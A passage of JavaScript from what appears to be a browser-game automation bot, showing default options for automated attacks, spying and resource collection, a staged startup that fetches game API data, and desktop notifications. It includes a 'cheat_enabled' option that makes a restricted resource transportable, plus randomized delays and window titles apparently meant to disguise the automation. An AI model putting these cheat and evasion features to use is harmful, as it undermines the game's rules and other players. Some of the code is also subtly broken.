						disable_wall: !WALL_TAB_ENABLE,
						disable_single: !SINGLE_TAB_ENABLE,
						disable_wheel: !WHEEL_TAB_ENABLE,
						disable_log: !LOG_TAB_ENABLE,
                        disable_cpt: !CPT_TAB_ENABLE,
						enable_notifications_fortuna: false,
						enable_notifications_spy: false,
						enable_notifications_attack: false,
						messages_notification: [],
						speedups_enabled: false,
						jobs_speedups_enabled: false,
						cheat_enabled: false,
						use_speedup_confirmation: false,
						Rcheat_enabled: false,
						jobs_cancel_confirmation: false,
						utc_time: false,
						user_language: LANG_CODE,

						alliance: {
							last_update: '',
							alliance_update: '',
							activity_update: '',
							current_tab: 0,
							transport_id: 0,
							reinforce_id: 0,
							auto_id: 0,
							sort_list: '0',
							sort_alliance: '0',
							sort_activity: '0',
							sort_applicants: '0',
							data: {
								transports: {},
								resources: {},
								units: {}
							},
							auto: {
								enabled: false,
								recall: false,
								max_load: false,
								delay_min: 30,
								delay_max: 45,
								max_marches: null,
								transports: {},
								resources: {}
							},
							recall: false
						},

						sanctuaryAbilities: {},

						autoCollect: {
							enabled: true,
							last_time: 0,
							delay: 60,
							unit: 60
						},

						autoRefresh: {
							enabled: false,
							delay: 1,
							unit: 3600
						},
						flashRefresh: {
							enabled: false,
							delay: 30,
							unit: 60
						},

						info: {
							current_tab: 0,
							troop_sub_tab: 0,
							consumption_sel: 0
						},
						jobs: {
							current_tab: 0
						},
						building: {
							enabled: false,
							hide_fields: false,
							level_enable: [{}, {}, {}, {}, {}, {}, {}, {}, {}, {}, {}, {}, {}],
							/* Add 1 for new outpost - luna added */
							level_cap: [{}, {}, {}, {}, {}, {}, {}, {}, {}, {}, {}, {}, {}] /* Add 1 for new outpost - luna added */
						},
						research: {
							enabled: false,
							res_enable: [{}, {}, {}, {}, {}, {}],
							res_cap: [{}, {}, {}, {}, {}, {}]
						},
						forge: {
							current_tab : 0,
							enableAutoMission : false,
							crush: {
								cbAuto:false,
								select:'',
								max:10,
								nbAuto:0
							},
							equipment: {
								cbAuto: false,
								select: '',
								max: 50,
								nbAuto:0
							},
							ingredient: {
								cbAuto: false,
								select: '',
								max: 50,
								nbAuto:0
							},
							CapitalAdventurer : {
								cbAuto : false,
								mission : '' 
							},
							WaterOutpostAdventurer : {
								cbAuto : false,
								mission : ''
							}
						},
						trade: {
							sell : {
								resource: 'food',
								qty: 10,
								price: 10000000
							},
							buy : {
								resource: 'food',
								qty: 10,
								price: 10000000
							}
						},
						training: {
							enabled: false,
							current_tab: 0,
							city: [ /* Add 1 line for new outpost */ {
									enabled: true,
									units: [],
									cap: []
								}, /* main */ {
									enabled: true,
									units: [],
									cap: []
								}, /* spectral */ {
									enabled: true,
									units: [],
									cap: []
								}, /* ice */ {
									enabled: true,
									units: [],
									cap: []
								}, /* swamp */ {
									enabled: true,
									units: [],
									cap: []
								}, /* water */ {
									enabled: true,
									units: [],
									cap: []
								}, /* stone */ {
									enabled: true,
									units: [],
									cap: []
								}, /* fire */ {
									enabled: true,
									units: [],
									cap: []
								}, /* wind */ {
									enabled: true,
									units: [],
									cap: []
								}, /* forest */ {
									enabled: true,
									units: [],
									cap: []
								}, /* desert */ {
									enabled: true,
									units: [],
									cap: []
								}, /* chrono */ {
									enabled: true,
									units: [],
									cap: []
								}, /* skythrone */ {
									enabled: true,
									units: [],
									cap: []
								}, /* cave */ {
									enabled: true,
									units: [],
									cap: []
								}, /* luna */ {
									enabled: true,
									units: [],
									cap: []
								} /* colossus */

							],
							mode: 'min_resource'
						},
						resurrect: {
							enabled: false,
							res_enable: [{}, {}, {}, {}, {}, {}],
							res_max: [{}, {}, {}, {}, {}, {}]
						},
						sanctuary: {
							enabled: false,
							current_tab: 0,
							male_id: 0,
							female_id: 0,
							feeding: {},
							hideDrgMaxLevel: false
						},

						collapsed: {
							quests: [],
							train: [],
							build: [],
							dragon: []
						},
						inbox: {
							current_tab: 0
						},
						map: {
							radius: 16,
							radius_fast: 32,
							x: 0,
							y: 0
						},
						messages: {
							last_read: 0,
							missing: 0
						},
						messages_tower: [],
						messages_delete: {
							type: 0,
							msgGame: true,
							msgPlayer: true,
							msgSentinel: true,
							msgAlliance: true,
							rptAnthropus: true,
							rptTransport: true,
							rptSpy: true,
							rptBattle: true,
							rptReinforcement: true,
							rptCurse: true,
							rptTrading: true,
							rptBreeding: true,
							rptExceptMyAttacks: true,
							rptExceptYourAttacks: true,
							dateAll: true
						},
						search: {
							enabled: false,
							current_tab: 0,
							sort_list: '0',
							last_update: '',
							target: {
								enabled: false,
								alliance: null,
								player: null,
								distance: 14,
								x: 999,
								y: 999,
								type: '',
								level: 0
							},
							grassland: true,
							lake: true,
							hill: true,
							mountain: true,
							forest: true,
							nuage: true,
							plain: true,
							swamp: true,
							min_level: 1,
							max_level: 10,
							unowned: false
						},
						sound: {
							enable_jobs: false,
							enable_fortuna: false,
							enable_sentinel: false,
							repeat_attack: false,
							attack_rdelay: 2,
							repeat_spy: false,
							spy_rdelay: 2,
							URL_player: SoundPlayer.SWF_PLAYER_URL,
							URL_attack: SoundPlayer.DEFAULT_SOUND_URL.attack,
							URL_spy: SoundPlayer.DEFAULT_SOUND_URL.spy,
							URL_building: SoundPlayer.DEFAULT_SOUND_URL.building,
							URL_units: SoundPlayer.DEFAULT_SOUND_URL.units,
							URL_research: SoundPlayer.DEFAULT_SOUND_URL.research,
							URL_fortuna: SoundPlayer.DEFAULT_SOUND_URL.fortuna
						},
						verboseLog: {
							enabled: false
						},

						tower: {
							enabled: true,
							current_tab: 0,
							nospy: false,
							delay: 2,
							unit: 60,
							delete_report: true,
							delete_delay: 1,
							delete_unit: 3600,
							preset: '',
							send_message: false,
							msg_subject: 'I\'m under attack !! (automatic message)',
							msg_body: '%1 at %2 is leading an attack on me...\n' + 'Ennemy forces are composed with :\n' + '%3\n\n' + 'The attack should arrive at %4.\n' + 'Could you please reinforce me ASAP (%6 at %7) ?\n' + 'Thanks\n\n' + '%5'
						},

						attacks: {
							enabled: false,
							current_tab: 0,
							choice: 'AnthropusCamp',
							delay_min: 30,
							delay_max: 60,
							delete_reports: true,
							stop_on_loss: true,
							log_attacks: true,
							max_marches: null,
							level_enable: ['', 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0],
							level_distance: ['', 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16],
							units: ['', {}, {}, {}, {}, {}, {}, {}, {}, {}, {}, {}],
							include_great_dragon: ['', false, false, false, false, false, false, false, false, false, false, false],
							except_great_dragon: ['', {}, {}, {}, {}, {}, {}, {}, {}, {}, {}, {}],
							clear_all_targets: false,
							send_without_dragon: false
						},
						bookmarks: {
							enabled: false,
							current_tab: 0,
							choice: 3,
							sort: 0,
							delay_min: 30,
							delay_max: 45,
							max_marches: null,
							stop_on_loss: true,
							delete_reports: true,
							targets: [],
							new_bookmark: {
								x: 0,
								y: 0,
								sequence: '',
								type: '',
								level: 0,
								units: {},
								dragons: {},
								include_great_dragon: false,
								comment: ''
							}
						},
						multiple: {
							enabled: false,
							current_tab: 0,
							delay_min: 30,
							/* Delay before sending a primary wave */
							delay_max: 45,
							delay_b4_secondary: 20,
							/* Delay before sending first secondary after primary wave */
							delay_min2: 10,
							/* Delay between seconday waves */
							delay_max2: 15,
							max_marches: null,
							/* Total marches that can send by multi tab */
							max_secondary: null,
							/* Number of secondary before sending again a primary */
							stop_on_loss: true,
							delete_reports: true,
							target: {
								x: 0,
								y: 0,
								type: '',
								level: 0,
								ai: 0,
								primary_units: {},
								dragons_1: {},
								include_gd_1: false,
								saved_units_1: {},
								secondary_units: {},
								dragons_2: {},
								include_gd_2: false,
								saved_units_2: {},
								comment: ''
							}
						},
						single: {
							current_tab: 0,
							current_preset: '',
							presets: [],
							preset: {
								name: '',
								units: {}
							},
							target: {
								x: 0,
								y: 0,
								type: '',
								level: 0,
								ai: 0,
								units: {},
								dragons: {},
								saved_units: {},
								include_great_dragon: false,
								comment: ''
							},
							history: []
						},
						spies: {
							enabled: false,
							current_tab: 0,
							delay_min: 30,
							delay_max: 45,
							max_marches: null,
							stop_on_loss: true,
							delete_reports: false,
							target: {
								x: 0,
								y: 0,
								type: '',
								level: 0,
								ai: 0,
								units: {},
								comment: ''
							},
							history: []
						},
						wall: {
							current_tab: 0,
							current_preset: '',
							presets: [],
							preset: {
								name: '',
								units: {},
								scales: '',
								armor: ''
							},
							auto: {
								enable:false,
								hide_troop_after_last: true,
								spy: {
									preset : [],
									use_truce : false
								},
								attack: {
									use_truce : false,
									hide_troop_on_multi_attack: true,
									preset_default : 0
								}
							}
						},
						waves: {
							enabled: false,
							current_tab: 0,
							delay_min: 30,
							delay_max: 45,
							max_marches: null,
							stop_on_loss: true,
							delete_reports: true,
							send_without_dragon: false,
							target: {
								x: 0,
								y: 0,
								type: '',
								level: 0,
								ai: 0,
								units: {},
								dragons: {},
								saved_units: {},
								include_great_dragon: false,
								comment: ''
							},
							history: []
						},
						wheel: {
							current_tab: 0,
							type: 'regular',
							auto_refresh: true,
							auto_play: true,
							delay: 3,
							unit: 1,
							number: 1,
							max_auto: 1,
							mandatory: [
								['CompletionGrant', 'null'],
								['AncestralSeal', 'TestroniusInfusion']
							],
							optional: [
								['null', 'null', 'null', 'null'],
								['null', 'null', 'null', 'null']
							]
						},
						tchat: {
							maxEntries: 500,
							delayToHide: 6,
							enable_notif_realm: true,
							enable_notif_alliance: false,
							tRealm: [],
							tAlliance: []
						}
					},
					/* Statistics data - Will be stored in local storage and WON'T be backup in local file */
					stats: {
						attacks: {
							start_at: 0,
							run_time: 0,
							total_attacks: 0,
							loss: {},
							items: {},
							resources: {},
							by_level: ['', {
								total_attacks: 0,
								items: {},
								resources: {}
							}, {
								total_attacks: 0,
								items: {},
								resources: {}
							}, {
								total_attacks: 0,
								items: {},
								resources: {}
							}, {
								total_attacks: 0,
								items: {},
								resources: {}
							}, {
								total_attacks: 0,
								items: {},
								resources: {}
							}, {
								total_attacks: 0,
								items: {},
								resources: {}
							}, {
								total_attacks: 0,
								items: {},
								resources: {}
							}, {
								total_attacks: 0,
								items: {},
								resources: {}
							}, {
								total_attacks: 0,
								items: {},
								resources: {}
							}, {
								total_attacks: 0,
								items: {},
								resources: {}
							}, {
								total_attacks: 0,
								items: {},
								resources: {}
							}]
						},
						bookmarks: {
							start_at: 0,
							run_time: 0,
							total_attacks: 0,
							loss: {},
							items: {},
							resources: {}
						},
						leaderboards: {
							alliance: {
								offensive_kills: [{}, {}, {}],
								defensive_kills: [{}, {}, {}],
								power_taken: [{}, {}, {}],
								power_gained: [{}, {}, {}]
							},
							player: {
								offensive_kills: [
									[{}, {}, {}],
									[{}, {}, {}]
								],
								defensive_kills: [
									[{}, {}, {}],
									[{}, {}, {}]
								],
								power_taken: [
									[{}, {}, {}],
									[{}, {}, {}]
								]
							},
							last_refresh: ''
						},
						forgeAdv: {
							start_at: 0,
							run_time: 0,
							total_missions: {},
							items: {}
						},
						multiple: {
							start_at: 0,
							run_time: 0,
							total_attacks: 0,
							loss: {},
							items: {},
							resources: {}
						},
						requests: {
							start_at: 0,
							run_time: 0,
							last_block: 0,
							count_block: 0,
							ajax_type: {
								binary: {
									time: [],
									error: []
								},
								/* Startup requests & refresh player/cities data */
								versions: {
									time: [],
									error: []
								},
								locales: {
									time: [],
									error: []
								},
								cookie: {
									time: [],
									error: []
								},
								manifest: {
									time: [],
									error: []
								},
								player: {
									time: [],
									error: []
								},
								cities: {
									time: [],
									error: []
								},
								jobs: {
									time: [],
									error: []
								},
								dragons: {
									time: [],
									error: []
								},
								/* Alliance reated requests */
								alliances: {
									time: [],
									error: []
								},
								membership: {
									time: [],
									error: []
								},
								activity: {
									time: [],
									error: []
								},
								/* Map requests */
								map: {
									time: [],
									error: []
								},
								tile_at: {
									time: [],
									error: []
								},
								/* Jobs requests */
								building: {
									time: [],
									error: []
								},
								research: {
									time: [],
									error: []
								},
								training: {
									time: [],
									error: []
								},
								resurrect: {
									time: [],
									error: []
								},
								canceljob: {
									time: [],
									error: []
								},
								/* Marches requests */
								marches: {
									time: [],
									error: []
								},
								cancelmarch: {
									time: [],
									error: []
								},
								/* Report requests */
								reports: {
									time: [],
									error: []
								},
								reports_del: {
									time: [],
									error: []
								},
								reports_read: {
									time: [],
									error: []
								},
								message: {
									time: [],
									error: []
								},
								/* Other requests */
								minigame: {
									time: [],
									error: []
								},
								save_minigame: {
									time: [],
									error: []
								},
								leaderboards: {
									time: [],
									error: []
								},
								collect: {
									time: [],
									error: []
								},
								claim: {
									time: [],
									error: []
								},
								defended: {
									time: [],
									error: []
								},
								defense: {
									time: [],
									error: []
								},
								items: {
									time: [],
									error: []
								},
								breeding: {
									time: [],
									error: []
								},
								feeding: {
									time: [],
									error: []
								},
								dragonHandle: {
									time: [],
									error: []
								},
								customization: {
									time: [],
									error: []
								},
								trade: {
									time: [],
									error: []
								},
								forge: {
									time: [],
									error: []
								},
                                other: {
                                    time: [],
                                    error: []
                                }
							}
						},
						spies: {
							start_at: 0,
							run_time: 0,
							total_attacks: 0,
							loss: {}
						},
						total: {
							start_at: 0,
							total_attacks: 0,
							loss: {},
							items: {},
							resources: {}
						},
						waves: {
							start_at: 0,
							run_time: 0,
							total_attacks: 0,
							loss: {},
							items: {},
							resources: {}
						},
						wheel: {
							type: 'regular',
							total_grids: [0, 0],
							total_played: [0, 0],
							items: [{}, {}],
							last_won: [
								[],
								[]
							]
						},
						forge: {
							missions: [],
							hammer: []
						}
					},
					/* Dynamic data - Will be stored in local storage and WON'T be backup in local file */
					dynamic: {
						recall_marches: [],
						players: {
							memberships: [],
							memberships_evolution: [],
							alliances: [],
							friends: [],
							foes: [],
							alliances_evolution: [],
							activity: [],
							applicants: []
						}
					},
					map: {
						terrains: {},
						players: {},
						evolution: {},
						alliance: {},
						coords: {}
					},
					marches: {
						start_at: 0,
						attacks: {},
						bookmark: {},
						waves: {},
						spies: {},
						transport: {},
						multiple: {},
						count_limit: 1,
						ressources: {}
					}
				});

				verboseLog('Session parameters : ' + inspectObj(C, 6, 1));
				clearAndReload();

				/* Set the default locale use */
				if (Data.options.user_language != undefined && Data.options.user_language != null && Data.options.user_language != LANG_CODE) {
					setLanguage(Data.options.user_language);
				}
				/* Set blue energy transportable if cheat enabled */
				if (Data.options.cheat_enabled) {
					transportable_resource_types = cloneProps(all_resource_types);
				}
				if (Data.options.Rcheat_enabled)
					Data.options.Rcheat_enabled = false; /* To be sure that remaining setting is reset to its default */
				/*  Check basic initialization */

				function stepStarting(current_step) {
					var wait_time = Math.randRange(2500, 4500);
					var error_code;
					var error_msg;
					var progress_title;
					progressBar.resume();

					function onSuccess(message, waitTime, currentStep) {
						verboseLog(message);
						debugLog(message);
						STARTUP_TIMER = setTimeout(stepStarting, waitTime, currentStep);
					}

					function onError(errorCode, errorMsg, message, waitTime, currentStep) {
						error_code = errorCode;
						switch (errorCode) {
							/* Bad request (API version ?) */
							case 400:
								error_msg = translate('<b>Bad request!</b>');
								progressBar.stop;
								progressBar.hideshow(false);
								retry = 400;
								dialogFatal('<b>' + kFatalSeedTitle + '</b><br><br>\
											<font color="#BF0000"><b> ' + errorMsg + '</b></font>\
											<br><br><div align=left>\
											' + kFatalSeedMsg + '<br><br></div>\
											<a id="' + UID['support_link'] + '" href="" target="_blank">Bugs and Known Issues</a><br>');
								return;
								break;
								/* Forbidden (RefControl or --no-referrers missing ?) */
							case 403:
								error_msg = translate('<b>Forbidden!</b>');
								retry = 403;
								return;
								break;
								/* Rate Limit Exceeded */
							case 429:
								error_msg = '<b>API </b>' + translate('<b>Rate Limit Exceeded</b>, too many requests!');
								waitTime = E429_DELAY;
								progressBar.update({
									step: currentStep,
									title: progress_title,
									stepText: translate('Fetching') + ' ' + message + '<br>' + error_msg + ' - ' + translate('Retry in') + ' ' + waitTime
								});
								progressBar.pause();
								verboseLog(error_msg + ' - ' + translate('Retry in :') + waitTime);
								STARTUP_TIMER = setTimeout(stepStarting, waitTime * 1000, currentStep);
								return;
								break;
							case 509:
								error_msg = translate('<b>Rate Limit Exceeded</b>, too many requests!');
								waitTime = 600;
								progressBar.update({
									step: currentStep,
									title: progress_title,
									stepText: translate('Fetching') + ' ' + message + '<br>' + error_msg + ' - ' + translate('Retry in') + ' ' + waitTime
								});
								progressBar.pause();
								verboseLog(error_msg + ' - ' + translate('Retry in :') + waitTime);
								STARTUP_TIMER = setTimeout(stepStarting, waitTime * 1000, currentStep);
								return;
								break;
							default:
								break;
						}
						error_msg = errorMsg;
						debugLog('stepStarting: ' + message + ', Error ' + errorCode + ', ' + error_msg + '. Retry ' + retry);
						STARTUP_TIMER = setTimeout(stepStarting, waitTime, currentStep, ++retry);
					}

					if (retry <= 20) {
						switch (current_step) {
							case 1:
								/*  Check API version */
									function getSupportedVersions(callback) {
										var params = {};
										new MyAjaxRequest('versions', url_versions + '/supported_versions', params, function(res) {
											if (res.ok && res.dat) {
												var list = '';
												if (res.dat.length) {
													api_version = res.dat[res.dat.length - 1];
													for (var v = 0; v < res.dat.length; v++) list = list + ((v == 0) ? '' : ', ') + res.dat[v];
												} else {
													api_version = res.dat;
													list = res.dat;
												}
												verboseLog('List of supported API version : ' + list);
												debugLog('List of supported API version : ' + list);
											}
											if (callback) callback(res);
										}, false);
								}
								progress_title = translate('Getting API version...');
								progressBar.update({
									step: current_step,
									title: progress_title,
									stepText: translate('Checking API version')
								});
								getSupportedVersions(function(res) {
									if (res.ok) {
										onSuccess(translate('API version Successfully initialized') + ' : ' + api_version, wait_time, current_step + 1);
									} else {
										debugLog('stepStarting: ' + translate('Checking API version') + ', Error ' + res.status + ', ' + res.errmsg + '.');
										onSuccess(translate('API version not available. Using default') + ' : ' + api_version, wait_time, current_step + 1);
									}
								});
								break;
							case 2:
								/*  Map data Initialization */
									progress_title = translate('Getting map data...');
								progressBar.update({
									step: current_step,
									title: progress_title,
									stepText: translate('Charging Map binairy file')
								});
								Map.initMapData(function(res) {
									if (res.ok) {
										onSuccess(translate('Map Bin Successfully initialized'), wait_time, current_step + 1);
									} else {
										onError(res.status, res.errmsg, translate('Map Bin'), wait_time, current_step);
									}
								});
								break;
							case 3:
								/*  Translation Initialization */
									progress_title = translate('Getting basic data...');
								progressBar.update({
									step: current_step,
									title: progress_title,
									stepText: translate('Fetching Translation matrix')
								});
								Translation.init(function(res) {
									if (res.ok) {
										onSuccess(translate('Translation Matrix Successfully initialized'), wait_time, current_step + 1);
									} else {
										onError(res.status, res.errmsg, translate('Translation matrix'), wait_time, current_step);
									}
								});
								break;
							case 4:
								/*  Manifest Initialization */
									progress_title = translate('Getting game data...');
								progressBar.update({
									step: current_step,
									title: progress_title,
									stepText: translate('Fetching Manifest')
								});
								Manifest.init(function(res) {
									if (res.ok) {
										onSuccess(translate('Manifest Successfully initialized'), wait_time, current_step + 1);
									} else {
										onError(res.status, res.errmsg, translate('Manifest'), wait_time, current_step);
									}
								});
								break;
							case 5:
								/*  Seed Initialization */
									progress_title = translate('Getting game data...');
								progressBar.update({
									step: current_step,
									title: progress_title,
									stepText: translate('Fetching Seed')
								});
								Seed.init(function(res) {
									if (res.ok) {
										onSuccess(translate('Seed Successfully initialized'), wait_time, current_step + 1);
									} else {
										onError(res.status, res.errmsg, translate('Seed'), wait_time, current_step);
									}
								});
								break;
							case 6:
								/* Sanctuary dragons data */
									progress_title = translate('Getting dragons data...');
								progressBar.update({
									step: current_step,
									title: progress_title,
									stepText: translate('Fetching Dragons data')
								});
								Seed.fetchDragons(function(res) {
									if (res.ok) {
										onSuccess(translate('Dragons data successfully fetched'), wait_time, current_step + 1);
									} else {
										onError(res.status, res.errmsg, translate('Dragons'), wait_time, current_step);
									}
								});
								break;
							case 7:
								/* Fetch capital data */
									progress_title = translate('Getting cities data...');
								var cityIdx;
								/* We make sure to first start the capital */
								for (var i = 0; i < Seed.cityInit.length; i++) {
									if (Seed.cityInit[i].type == 'capital') {
										cityIdx = Seed.cityInit[i].id;
									}
								}
								/* Set progress bar steps / city */
								citySteps = Math.floor(14 / (Seed.cityInit.length - 1));
								progressBar.update({
									step: current_step,
									title: progress_title,
									stepText: translate('Fetching Capital data')
								});
								Seed.fetchCity(cityIdx, function(res) {
									if (res.ok) {
										wait_time = Math.randRange(2500, 6000);
										onSuccess(translate('Capital data successfully fetched'), wait_time, current_step + 1);
									} else {
										onError(res.status, res.errmsg, translate('Capital data'), wait_time, current_step);
									}
								});
								break;
							case 8:
								/* Fetch outposts data */
									progress_title = translate('Getting cities data...');
								for (var i = 0; i < Seed.cityInit.length; i++) {
									if (Seed.cityInit[i].loaded) {
										continue;
									}
									progressBar.update({
										step: current_step + (citySteps * i),
										title: progress_title,
										stepText: translate('Fetching Outpost ') + (i + 1)
									});
									if (Seed.cityInit[i].timer) {
										clearTimeout(Seed.cityInit[i].timer);
									}
									var current_index = i;
									var cityIdx = Seed.cityInit[i].id;
									Seed.fetchCity(cityIdx, function(res) {
										if (res.ok) {
											wait_time = Math.randRange(2500, 6000);
											if (current_index == Seed.cityInit.length - 1) {
												wait_time = 2500;
											}
											onSuccess(translate('Outpost') + ' #' + (i + 1) + ' ' + translate('data successfully fetched'), wait_time, current_step);
										} else {
											onError(res.status, res.errmsg, translate('Outpost') + ' #' + (i + 1), wait_time, current_step);
										}
									});
									return;
								}
								startScript();
								return;
								break;
						}
					} else {
						/* Retries Limit */
						clearTimeout(STARTUP_TIMER);
						progressBar.stop;
						progressBar.hideshow(false);
						if (retry < 400) { /* to avoid displaying twice a dialogFatal popup */
							dialogFatal('<b>' + kFatalSeedTitle + '</b><br><br>\
								<font color="#BF0000"><b> ' + (error_code || retry) + ' - ' + error_msg + '</b></font>\
								<br><br><div align=left>\
								' + kFatalSeedMsg + '<br><br></div>\
								<a id="' + UID['support_link'] + '" href="" target="_blank">Bugs and Known Issues</a><br>');
						}
						return;
					}
				}

				actionLog('<B>' + scriptVersion + ' ' + translate('Loading...') + '</B>');
				consoleLog('<B>' + scriptVersion + ' ' + translate('Loading...') + '</B>');
				stepStarting(1);

				function startScript() {

					if (updaterPop) setTimeout(function() {
						updaterPop.destroy()
					}, 100);

					progressBar.update({
						step: 19,
						title: translate('Completing...'),
						stepText: translate('Initializing map, auto-collect, ...')
					});
                    MyAjax.statScript();
					Names.init();
					Map.init();
					Marches.init();
					AutoCollect.init();
					AutoRefresh.init();
					Messages.init();


					progressBar.stop;
					progressBar.hideshow(false);
					progressBarPop.destroy();

					if (Data.options.popUp == null || Data.options.popUp.x == null || Data.options.popUp.x == '' || isNaN(Data.options.popUp.x)) {
						var maxWidth = document.body.offsetWidth - 570;
						if (maxWidth < 760) maxWidth = 760;
						Data.options.popUp.x = maxWidth + 2;
						Data.options.popUp.y = 1;
					}
					var popupWidth = 550;
					var popupHeight = 808;

					/* Random Title */
					makeRandomTitle();

					/* Create a new popup DIV for the main script window */
					mainPop = new PopUp('main', Data.options.popUp.x, Data.options.popUp.y, popupWidth, popupHeight, Data.options.popUp.drag, function() {
						tabManager.hideTab();
					});

					/* Check Our Coords */
					Map.checkOurCoords();

					/* Create all the tabs and insert them into the main script popup DIV */
					tabManager.init(mainPop.getMainDiv());

					/* Display everything */
					Data.options.popUp.open = true;
					if (Data.options.popUp.open) {
						mainPop.show(true);
						tabManager.showTab();
					}

					Data.setDefaultValues('options');
					RecallMarch.init();
					SoundPlayer.init();
					WackoScript.init();
					Wall.init();
					CalciumNotifications.init();
					Socket.init(mainPop.getMainDiv());
					window.addEventListener('unload', Data.onUnload, false);

					/* Apply CSS styles (THIS MUST BE THE LAST ALWAYS) */
					setStyles();

					actionLog('<B>' + scriptVersion + ' ' + translate('Loaded') + '</B>');
					if (Data.stats.requests) Data.stats.requests.start_at = serverTime();
					/* sendNewVersionMsg (); */

					checkDelay();

					REALM_NAME = '';//$$('a.current_realm.change_realm')[0].text;
					logit(REALM_NAME);
				}
			} catch (e) {
				dialogFatal(kInitErr + e);
				logit(inspectObj(e, 8, 1));
			}
		}

		/******************************** CalciumNotification package ****************/
		var CalciumNotifications = {
			nAlliance : null,
			nMonde : null,
			timerAlliance : null,
			timerMonde : null,
			
			init: function() {
				var t = CalciumNotifications;
				Messages.addAlarmReportListener(t.gotAlarmReport);
				verboseLog('CalciumNotifications init successfully');
			},

			showFortunaWin: function(bodyWin) {
				var t = CalciumNotifications;
				if (Data.options.enable_notifications_fortuna) {
					t.showNotification(REALM_NAME + ' : FORTUNA', bodyWin, SERVER_ID + 'fortuna' + serverTime(), 'https://wackoscripts.com/images/Fortunas_Ticket.jpg');
				}
			},

			showNotification: function(title, body, tag, iconUrl) {
				try {
					var Notification = window.Notification || window.mozNotification || window.webkitNotification;
					
					Notification.requestPermission(function (permission) {
						if (perm == 'granted') {
						}
					});
					
					var instance = new Notification(title, {
						body: body,
						tag: tag,
						icon: iconUrl
					});
					
					instance.onclick = function () {
						// Something to do
					};
					instance.onerror = function () {
						// Something to do
					};
					instance.onshow = function () {
						// Something to do
					};
					instance.onclose = function () {
						// Something to do
					};
					
					return instance;
					
				} catch (e) {
					verboseLog('Error Notification = ' + inspectObj(e, 8, 1));
				}
			},

			showAlertNotification: function(msg) {
				if ((Data.options.enable_notifications_spy && msg.type == 1) ||
					(Data.options.enable_notifications_attack && msg.type == 0)) {

					CalciumNotifications.showNotification(
						REALM_NAME + '-' + translate((msg.type == 1 ? 'Spy' : 'Attack')) + '-' + translate('Arrival time') + ': ' + new Date(msg.arrive_at).formatDate() + ' ' + new Date(msg.arrive_at).formatTime(), msg.x + ',' + msg.y + ' : ' + msg.alliance + '/' + msg.troups, SERVER_ID + (msg.type == 1 ? 'Spy' : 'Attack') + msg.x + msg.y + serverTime(),
						(msg.type == 1 ? 'https://wackoscripts.com/images/Spy.jpg' : 'https://wackoscripts.com/images/Attacks.jpg')
					);

				}
			},

			showChatMessage: function(data) {
				var t = CalciumNotifications;
				var tabTemp = data.room.split(':');
				tabTemp = tabTemp[1].split('_');
				var message = {
					name: data.user_card.name,
					alliance: data.user_card.allianceName,
					text: data.message,
					power: data.user_card.power,
					time: data.timestamp,
					id: data.player_id
				};
				
				if(tabTemp[1] == 0) {
					if(Data.options.tchat.enable_notif_realm) {
						if(t.nMonde != null) {
							t.nMonde.close();
							clearTimeout(t.timerMonde);
						}
						t.nMonde = t.showNotification(REALM_NAME + ' TCHAT MONDE: ' + message.name + '('+ message.alliance +')', message.text, SERVER_ID + 'alliance' + serverTime(), data.user_card.portrait);
						t.timerMonde = setTimeout(function() { CalciumNotifications.nMonde.close();  }, Data.options.tchat.delayToHide * 1000);
					}
					if(Data.options.tchat.tRealm.length > Data.options.tchat.maxEntries) {
						Data.options.tchat.tRealm.splice(0, 1);
					}
					Data.options.tchat.tRealm.push(message);
					if(Tabs.Inbox.tabTchatRealmActive) {
						Tabs.Inbox.tabInboxTchatRealm();
					}
					verboseLog('Add message to realm tchat :' + inspectObj(message, 4, 1));
				} else {
					if(Data.options.tchat.enable_notif_alliance) {
						if(t.nAlliance != null) {
							t.nAlliance.close();
							clearTimeout(t.timerAlliance);
						}
						t.nAlliance = t.showNotification(REALM_NAME + ' TCHAT ALLIANCE: ' + message.name + '('+ message.alliance +')', message.text, SERVER_ID + 'alliance' + serverTime(), data.user_card.portrait);
						t.timerAlliance = setTimeout(function() { CalciumNotifications.nAlliance.close();  }, Data.options.tchat.delayToHide * 1000);
					}
					if(Data.options.tchat.tAlliance.length > Data.options.tchat.maxEntries) {
						Data.options.tchat.tAlliance.splice(0, 1);
					}
					Data.options.tchat.tAlliance.push(message);
					if(Tabs.Inbox.tabTchatAllianceActive) {
						Tabs.Inbox.tabInboxTchatAlliance();
					}
					verboseLog('Add message to alliance tchat :' + inspectObj(message, 4, 1));
				}
			},
			
			gotAlarmReport: function(rpt_alm, msgid) {
				var t = CalciumNotifications;
				var nbSpy = 0;
				var msg = {
					id: msgid,
					type: 0,
					arrive_at: 0,
					alliance: '',
					x: 0,
					y: 0,
					units: {},
					troups: '',
					general: 0,
					op: 0
				};
				if (!rpt_alm) {
					return;
				}
				if (rpt_alm.report.warnings) {
					var warn = rpt_alm.report.warnings;
					if (warn.attacker_name) {
						msg.alliance = warn.attacker_name;
					}
					if (warn.attacker_title && warn.attacker_title.alliance) {
						if (msg.alliance) {
							msg.alliance = msg.alliance + ' / ' + warn.attacker_title.alliance;
						} else {
							msg.alliance = warn.attacker_title.alliance;
						}
					}
					//if (warn.outpost_attack) msg.op = warn.march_incoming;
					if (warn.attacker_coords) {
						msg.x = warn.attacker_coords.x;
						msg.y = warn.attacker_coords.y;
					}
					if (warn.march_type && warn.march_type == 'SpyMarch') {
						msg.type = 1;
					}
					if (warn.attacker_units) {
						var results = [];
						for (var tr in warn.attacker_units) {
							var unit = numf(warn.attacker_units[tr], ' ') + ' ' + translate(tr);
							results.push(unit);
							if(msg.type == 1 && tr == 'Spy') {
								nbSpy = warn.attacker_units[tr];
							}
						}
						if (results.length > 0) {
							msg.troups = results.join(', ');
						}
						msg.units = cloneProps(warn.attacker_units);
					}
					if (warn.march_arrival_time) {
						msg.arrive_at = t.getTimeAlarm(warn.march_arrival_time);
					}
				}

				var found = false;
				for (var i = 0; i < Data.options.messages_notification.length && !found; i++) {
					if (Data.options.messages_notification[i].id == msgid) {
						found = true;
					}
				}

				if (!found) {
					Data.options.messages_notification.push(msg);
					t.showAlertNotification(msg);
					// Auto-Wall enable ?
					if(Data.options.wall.auto.enable && (Buildings.getLevel(CAPITAL.id, 'Sentinel')).min >= 9) {
						logit('Wall auto enable and sentinel >= 9');
						var detAlert = SoundPlayer.getNbCurrentAlertForAutoWall();
						
						// Spy in progress ?
						if(detAlert.nbSpyInProgress > 0) {
							logit('nbSpyInProgress : ' + detAlert.nbSpyInProgress);
							// Use a MomentaryTruce ?
